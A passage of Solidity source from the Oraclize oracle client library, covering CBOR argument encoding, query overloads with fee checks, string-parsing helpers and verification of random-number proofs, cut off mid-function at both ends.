4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8((major << 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure { buf.append(uint8((major << 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal pure { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal pure { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal pure { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Ledger = 0x30; byte constant proofType_Android = 0x40; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; 